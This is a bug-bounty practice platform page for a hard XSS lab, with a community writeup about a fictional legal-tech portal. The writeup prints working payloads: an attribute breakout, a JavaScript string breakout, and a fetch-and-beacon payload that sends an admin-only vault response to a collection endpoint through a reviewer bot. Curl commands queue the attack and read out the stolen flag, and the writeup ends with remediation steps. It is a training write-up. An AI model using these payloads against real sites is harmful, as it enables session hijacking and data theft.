BBLABS v2BBLABSv2
>Inicio>Labs
>New labs

Últimos 3 labs

Cargando…

Ver todos los labs →
>Creators>Ranking
>Aprender

Aprender bug bounty

AcademyGuías, cheatsheets y diccionarioVulnerabilidadesXSS, SQLi, IDOR, SSRF y másHunter RoadmapTu ruta de bug bounty paso a pasoBlogGuías y noticias de bug bounty
>Empresa>Precios
EN
AccederAcceder
>Inicio>Labs>New labs>Creators>Ranking>Aprender>Empresa>Precios
EN
Iniciar SesiónCrear Cuenta
  1. Inicio
  2. Labs
  3. Reflected XSS en contexto de string JS + exfiltración vía bot revisor
Difícil$30045 min

Reflected XSS en contexto de string JS + exfiltración vía bot revisor

Por @gorka

Portal de Custodia, un SaaS legal-tech de gestión tutelar. Dos páginas legacy reflejan parámetros de URL sin escapar.

416 visitas4 completadosActualizado ago 2026
Iniciar sesión para empezar

Aprende a encontrar este bug

Este bug pagó $300 en YesWeHack.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

hunters entrenando
650

hunters entrenando

labs de reportes reales
50

labs de reportes reales

completaciones
380

completaciones

en bounties practicados
$200.000

en bounties practicados

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hunters que lo han resuelto· 4

benjaminnocervigni1
@benjaminnocervigniHace 7 días
flyingwhales2
@flyingwhalesHace 10 días
r4mattra3
@r4mattraHace 11 días
w4tchw0lf
@w4tchw0lfHace 18 días

Objetivos

1
Identificar las dos páginas legacy del portal que reflejan parámetros de URL en su respuesta
2
Confirmar el intento de XSS en la Superficie A (`/procedure/submit`) mediante breakout de atributo
3
Descartar la Superficie A como camino a la flag
4
Encontrar la Superficie B (`/registry/criteres_v2`), que refleja seis parámetros dentro de literales de string
5
Armar un payload en la Superficie B que ejecute `fetch('/api/vault')` (endpoint admin-only)
6
Redactar la remediación de las dos capas: output encoding correcto por contexto

Información

Plataforma
YesWeHack
Dificultad
Difícil
Duración
45 min
Bounty
$300
Completados
4
Creador
gorka@gorka
Colaboradores
antoniorivera@antoniorivera
Actualizado
ago 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

NavegadorBurp Suite

Prerequisitos

  • Conocimiento de Cross-Site Scripting
  • Familiaridad con la evasión
  • Concepto de "bot como URL-gadget same-origin"

Tags

XSS

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

BBLABS.ESLab Resuelto
Difícil$300
// achievement_unlocked

Reflected XSS en contexto de string JS + exfiltración vía bot revisor

XSS
ago 2026
gorka
solved_by@gorkaMiembro desde mar 2026
bblabs.es// real bug bounty practice

Writeups de la comunidad

Custodia es una plataforma legal-tech (SaaS) de gestión tutelar: da servicio a representantes legales —tutores, curadores y defensores judiciales designados por un juzgado— que administran los trámites de personas representadas (adultos vulnerables bajo una medida de apoyo). El portal permite (a) presentar procedimientos judiciales mediante un formulario que se pre-rellena con datos vía parámetros de URL —enlaces que el juzgado o la propia plataforma generan y comparten— y (b) consultar el registro de criterios de admisibilidad de expedientes en una página de búsqueda legacy.

El stack es Express 4.21 + TypeScript 5.7 + better-sqlite3 11.x + React 18 + Vite, con un bot Puppeteer-core in-process, todo en un único contenedor en el puerto 1700. El dashboard autenticado (login, personas representadas, trámites, cola de revisión, lectura del sink) es la SPA React; las dos páginas vulnerables se sirven fuera de la SPA, como HTML crudo con <script> inline, para reproducir con fidelidad la reflexión de parámetros de un portal legacy.

El fallo raíz es el mismo en dos sitios: output encoding roto (CWE-116). Lo interesante —y lo que hace este lab Hard— es la asimetría: un WAF degrada una de las superficies a solo phishing mientras la otra queda como full-XSS.

Capa 1 — DOM XSS en la Superficie A, neutralizada por el gateway (decoy honesto)

GET /procedure/submit (server/src/views/procedureSubmit.ts) sirve un formulario cuyo <script> inline lee doce parámetros p_* (p_case_ref, p_ward_name, p_ward_id, p_court, p_measure_type, p_representative, p_filing_date, p_hearing_date, p_amount, p_currency, p_reference_code, p_notes) de location.search y los inyecta en inputs ocultos vía jQuery .prepend('<input … value="' + val + '">'), sin escapar "/</>. Un breakout de atributo trivial (?p_case_ref="><img src=x onerror=…>) rompería el value=""… salvo que delante está el Custodia Edge Gateway (server/src/middleware/edgeGateway.ts, montado solo sobre /procedure/* en index.ts). El gateway inspecciona la query string cruda —y su forma decodificada— contra tres reglas: on\w+\s*=, <\s*script y javascript:. Cualquier coincidencia devuelve 403 — Request blocked by security gateway con cabecera X-Gateway: edge y ref EDGE-RULE-XSS.

Lo que el gateway no bloquea son los tags inertes (<details>, <summary>, <dialog>, <mark>…), enmarcados en el código como "compatibilidad con plantillas de accesibilidad". Eso deja pasar HTML injection: puedes inyectar un <details open><summary>IMPORTANTE: verifique su identidad</summary>…</details> y montar una superficie de phishing real. Pero ningún JavaScript se ejecuta ahí, así que la Superficie A no captura la flag (CWE-1021 + CWE-693). Un hunter puede quemar media hora intentando bypassear el WAF con mutaciones de event-handler (onbeforetoggle, onpointerrawupdate) o <svg>; el filtro está bien afinado y no cede. La salida no es romper A: es encontrar B.

Capa 2 — Reflected XSS en la Superficie B, contexto de string JS, sin WAF

GET /registry/criteres_v2 (server/src/views/criteresV2.ts) es la página hermana "legacy" (_v2, "migrada a medias"). Refleja seis parámetros —p_name, p_category, p_status, p_court, p_year, p_ref— dos veces. En los value="…" del formulario los pasa por escHtml() (contexto de atributo, seguro), pero en un <script> inline al final de la página los interpola crudos dentro de literales de string:

<script>
  var name = '<p_name>';
  var category = '<p_category>';
  var status = '<p_status>';
  …
</script>

Ahí no hay escape de la comilla simple. Un ?p_name=x';…// cierra el literal, inyecta JS arbitrario y comenta el resto. Esa doble reflexión —el mismo valor escapado en el atributo y crudo en el <script>— es exactamente el patrón que engaña: la página "parece" saneada porque el input del formulario se ve escapado. La regla del gateway no cubre /registry/*, y la CSP de esta página es la misma config legacy laxa que la de A: script-src 'self' cdn.custodia-static.test cdn.jqhost.test 'unsafe-inline' 'unsafe-eval', que permite inline y eval. Resultado: reflected XSS single-click con ejecución de JS, mismo root cause que A pero sin el filtro.

Capa 3 — Weaponización + exfil vía el bot revisor

La flag vive solo en GET /api/vault, que devuelve 403 a la sesión del jugador (role=user) y 200 únicamente a role=admin. La única sesión admin del sistema es la del revisor de solicitudes: un bot Puppeteer-core (server/src/bot/reviewBot.ts) que hace login como admin (password crypto.randomBytes(32) rotada por boot, que el jugador nunca conoce), hace polling de GET /api/review/tickets?status=new cada 8 s, y por cada ticket con un link valida que sea same-origin (localhost:1700, 127.0.0.1:1700, custodia:1700 — rechaza off-origin, jamás un SSRF abierto), setea la cookie custodia_session con su JWT admin y navega la URL con un dwell de 3 s.

La cadena: crafteas una URL de la Superficie B cuyo payload haga fetch('/api/vault') en el contexto del bot (autenticado como admin) y balice la respuesta a POST /collect?data=… (o GET /collect?data=… vía new Image().src). Encolas esa URL en POST /api/review/tickets (campo link). El bot la abre, el XSS corre en su sesión admin, el fetch devuelve la flag y la POSTea al sink same-origin. Tú la recuperas en GET /collect/log.

Cadena completa (cinco pasos)

  1. Login como attacker@custodia.test / password123. Descubres /procedure/submit y /registry/criteres_v2, ambas reflejando parámetros de URL sin escaparlos.
  2. DOM XSS en A → bloqueado por WAF. curl -i 'http://localhost:1700/procedure/submit?p_case_ref="><img src=x onerror=alert(1)>' → 403 con X-Gateway: edge. El breakout de atributo funciona a nivel de HTML, pero el gateway corta on\w+=/<script>.
  3. HTML injection en A (win parcial, NO es la flag). Un payload con tags inertes de la allowlist (?p_notes=<details open><summary>Verifique su identidad</summary>…</details>) pasa el gateway (200) y renderiza contenido de phishing. Ningún JS se ejecuta → descartas A.
  4. Reflected XSS en B. http://localhost:1700/registry/criteres_v2?p_name=x';alert(document.domain)// ejecuta JS. Confirmas que la comilla simple no se escapa en el <script> de la página (queda var name = 'x';alert(document.domain)//';).
  5. Exfil vía el bot. Crafteas la URL de B con el payload de exfil, la encolas para el revisor, esperas ~1-2 ciclos del bot y lees GET /collect/log → la flag.

Payload canónico (Superficie B)

http://localhost:1700/registry/criteres_v2?p_name=x';fetch('/api/vault').then(r=>r.text()).then(d=>{new Image().src='/collect?data='+encodeURIComponent(d)});//

Que, al abrirse en el contexto admin del bot, ejecuta:

var name = 'x';
fetch('/api/vault')
  .then(r => r.text())
  .then(d => { new Image().src = '/collect?data=' + encodeURIComponent(d); });
//';

Flujo manual con curl (autenticado como attacker):

# 1. login → token
TOKEN=$(curl -s -X POST http://localhost:1700/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@custodia.test","password":"password123"}' | jq -r .token)

# 2. encolar la URL de la Superficie B para el revisor (nota: la comilla y los
#    caracteres del payload deben ir URL-encoded dentro del valor de `link`)
curl -s -X POST http://localhost:1700/api/review/tickets \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"title":"Revisión de expediente","link":"http://localhost:1700/registry/criteres_v2?p_name=x%27;fetch(%27/api/vault%27).then(r=>r.text()).then(d=>{new%20Image().src=%27/collect?data=%27%2BencodeURIComponent(d)});//"}'

# 3. esperar 1-2 ciclos del bot (~8-16 s) y leer el sink
sleep 18
curl -s http://localhost:1700/collect/log -H "Authorization: Bearer $TOKEN" | jq

El PoC end-to-end automatizado vive en exploit.py; la verificación en tests/verify.py; el walkthrough interactivo (real-fetch + diagrama + terminal) en /writeup.

Por qué la flag exige la vulnerabilidad

/api/vault devuelve 403 a la sesión del jugador y 200 solo a role=admin. La única sesión admin es la del bot. La flag no está en el bundle cliente, ni en respuestas anónimas, ni en variables de entorno expuestas al navegador: solo se obtiene ejecutando JavaScript en el contexto del bot. La Superficie A es incapaz de hacerlo (el WAF corta todo el JS) → el camino a la flag es forzosamente la Superficie B.

Decoys

  • Superficie A completa (el WAF que "protege"): parece full-XSS por el breakout de atributo trivial, pero el gateway la degrada a HTML injection / phishing. Real pero insuficiente para la flag (CWE-693).
  • GET /registry/search: buscador parametrizado (LIKE ?) que ecoa el término solo dentro de un cuerpo JSON y lo renderiza en la SPA con auto-escaping de React. Parece la superficie inyectable obvia y es inerte.
  • GET /api/files/preview?path=: ecoa un path saneado (corta ../) en JSON, con Content-Type: application/json, nunca reflejado en HTML. Aparenta path traversal / reflected sink pero no lo es.

Remediación

  • Output encoding por contexto. El valor que va a un value="…" necesita escape de atributo HTML (escHtml, que la página ya aplica en el formulario); el mismo valor dentro de var x = '…' necesita escape de string JavaScript (o serializarlo con JSON.stringify server-side). Nunca interpolar input en un literal de string JS crudo.
  • No confiar en un WAF de firmas como control único. El gateway solo cubre /procedure/* y solo bloquea event-handlers/<script>; no salva de la Superficie B ni de contextos que no encajan en sus regex. Un WAF es defensa en profundidad, no el arreglo.
  • CSP restrictiva. Eliminar unsafe-inline y unsafe-eval; usar nonces/hashes para los scripts legítimos. Con una CSP correcta, el fetch inyectado no se ejecutaría.
  • Allowlist estricta del bot (ya es same-origin) y separación de la sesión admin del flujo de revisión — no navegar contenido controlado por el usuario con cookies privilegiadas.
  • Autorización server-side en cada endpoint sensible (ya la hay en /api/vault) y no exponer datos internos a sesiones que abran contenido arbitrario.

Contacto

Practica, aprende y hackea

Plataforma de práctica de bug bounty con labs basados en reportes reales. Aprende hacking ético en entornos seguros.

contactar→

Síguenos

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Accede a todos los labs desde 7,99€/mes

Nuevos labs cada semana. Cancela cuando quieras.

Crear cuenta

BBLabs es la plataforma de laboratorios de bug bounty en español donde aprender bug bounty con vulnerabilidades reales extraídas de reportes pagados en HackerOne, Bugcrowd e Intigriti. Aquí practicas hacking web —XSS, SQLi, IDOR, SSRF, CSRF y más— en entornos descargables, capturas la flag, lees el writeup y aplicas la técnica en programas activos de bug bounty.

BBLabs es la alternativa en español a HackTheBox, TryHackMe y PentesterLab para quienes quieren practicar bug bounty con reportes reales en lugar de CTFs artificiales. Desde 7,99€/mes, sin permanencia.

→ Aprender bug bounty desde cero→ Cómo hacer bug bounty paso a paso→ Reportes de bug bounty reales→ BBLabs para empresas y academiasLabsAcademyVulnerabilidadesHerramientasRanking de huntersLabs de XSSLabs de IDORLabs de SSRFLabs de CSRFHackTheBox alternativaHack4u alternativaTryHackMe alternativaPortSwigger alternativaPentesterLab alternativaBug Bounty Labs comparativaHackerOne para practicarOffSec / OSCP alternativaINE / eWPT alternativaHTB Academy alternativaDVWA alternativaJuice Shop alternativaVulnHub alternativaPentesterAcademy alternativaRoot-Me alternativaHackTheBox vs TryHackMeMejores plataformas bug bounty 2026BlogSpoilers¿Qué es el bug bounty?¿Cuánto se gana en bug bounty?OWASP Top 10 explicadoMejores webs para practicar hacking webCómo ser hacker ético desde ceroTutorial de Burp Suite en españolOSCP en español: guía y preparaciónGoogle Dorks para bug bountyCuánto gana un hacker ético en EspañaHerramientas de bug bounty 2026Mejores certificaciones de ciberseguridad 2026Burp Suite tutorialsqlmap tutorialffuf fuzzing webnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Hecho cony código
TérminosPrivacidadComparativaEN

© 2026 BBLABS v2 — Todos los derechos reservados